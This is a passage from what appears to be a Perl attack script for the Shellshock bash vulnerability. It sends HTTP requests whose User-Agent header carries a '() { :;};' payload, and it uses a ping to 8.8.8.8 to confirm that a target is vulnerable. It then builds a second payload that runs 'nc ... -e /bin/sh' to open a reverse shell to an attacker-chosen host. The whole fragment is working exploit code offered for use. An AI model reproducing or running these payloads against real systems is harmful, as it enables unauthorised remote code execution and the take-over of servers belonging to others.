$ua = new LWP::UserAgent; $ua->agent("$Inject; nc $bip $bport -e /bin/sh'"); $request = HTTP::Request->new('GET'); $request->url($url); $response = $ua->request($request); $code = $response->code; $headers = $response->headers_as_string; $body = $response->content; #### sub PingInject{ $url = "$target"; $ua = new LWP::UserAgent; $ua->agent("() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'"); $ua->timeout(15); $request = HTTP::Request->new('GET'); $request->url($url); $response = $ua->request($request); $code = $response->code; $headers = $response->headers_as_string; $body = $response->content; if($body =~ /--- 8.8.8.8 ping statistics ---/){ print "[+] Shellshock Ping Injection was injected successfully! (Vulnerable!) \n"; $injectionFound = "yes"; $InjectPoint = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8'"; $Inject = "() { :;}; /bin/bash -c 'ping -c 3 8.8.8.8"; InjCorrect(); } else { print "[-] Shellshock Ping Injection was not injected successfully! (Not Vulnerable!) \n"; } }